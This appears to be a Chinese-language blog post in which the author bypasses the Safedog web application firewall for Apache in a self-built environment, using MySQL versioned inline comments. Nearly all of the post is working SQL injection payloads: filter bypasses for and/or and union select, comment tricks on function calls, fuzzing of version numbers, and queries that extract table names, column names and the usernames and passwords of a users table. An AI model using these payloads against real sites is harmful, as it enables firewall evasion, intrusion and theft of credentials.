虽然以前用分块传输和参数污染的方式绕过了安全狗,但还是想从规则上绕过试试,就搭在自己的环境里面玩玩。而且在网上绕过安全狗的文章也是一抓一大把。
目前搭建的安全狗是官方windows apache的v4.0版,搭建过程我就忽略了。
内联注释
内联注释是mysql为了保持兼容性而存在的,表示方式为
/*!.....*/
,在mysql中里面的内容会被执行,而/*!50001..*/
里面的数字则表示数据库版本大于5.00.01才执行内联注释中的内容。
绕过and、or、1=1的过滤
and、or的过滤将其写入到内联注释中,1=1可以用~1=~1代替
111'/*!or*/~1=~1#
绕过
allen'/*!and*/~1=~2#
绕过
image.png
联合注入绕过
尝试提交
111' union/*!select*/1,2,3#
,被拦截
这时候可以尝试使用111' union/*!10000 select*/1,2,3#
的方式,依然被拦截,这时候可以fuzzing测试一下不被拦截的数字
选择一个可以用的版本,111' union/*!14400 select*/1,2,3#
查询数据库和连接用户:111' union/*!14400 select*/database(),current_user(),3#
拦截
对于系统函数的绕过,可以在函数括号之前插入注释,如database/**/(),database/*!xxxxx aaa*/()
绕过,这里我们要选择不被拦截且不被执行的版本数字,经过刚才的fuzzing测试,我们可以使用94400
111' union/*!14400 select*/database/*!94400 abc*/(),current_user/*!94400 abc*/(),3#
爆数据
尝试payload:
111' union/*!14400 select*/1,group_concat/*!94400 abc*/(table_name),3 from information_schema.tables where table_schema=database/*!94400 aaa*/()#
不懂为什么group_concat/**/(table_name)
不能执行,等一个大佬解释
改一下payload:111' union/*!14400 select*/1,group_concat(/*!table_name*/),3 from information_schema.tables where table_schema=database/*!94400 aaa*/()#
,回显表名
爆列名:111' union/*!14400 select*/1,group_concat(/*!column_name*/),3 from information_schema.columns where table_name='users'#
爆账号密码:111' union/*!14400 select*/id,username,password/*!14400 from*/users#
emmmmm,基本思路就这样,就玩到这里,溜
网友评论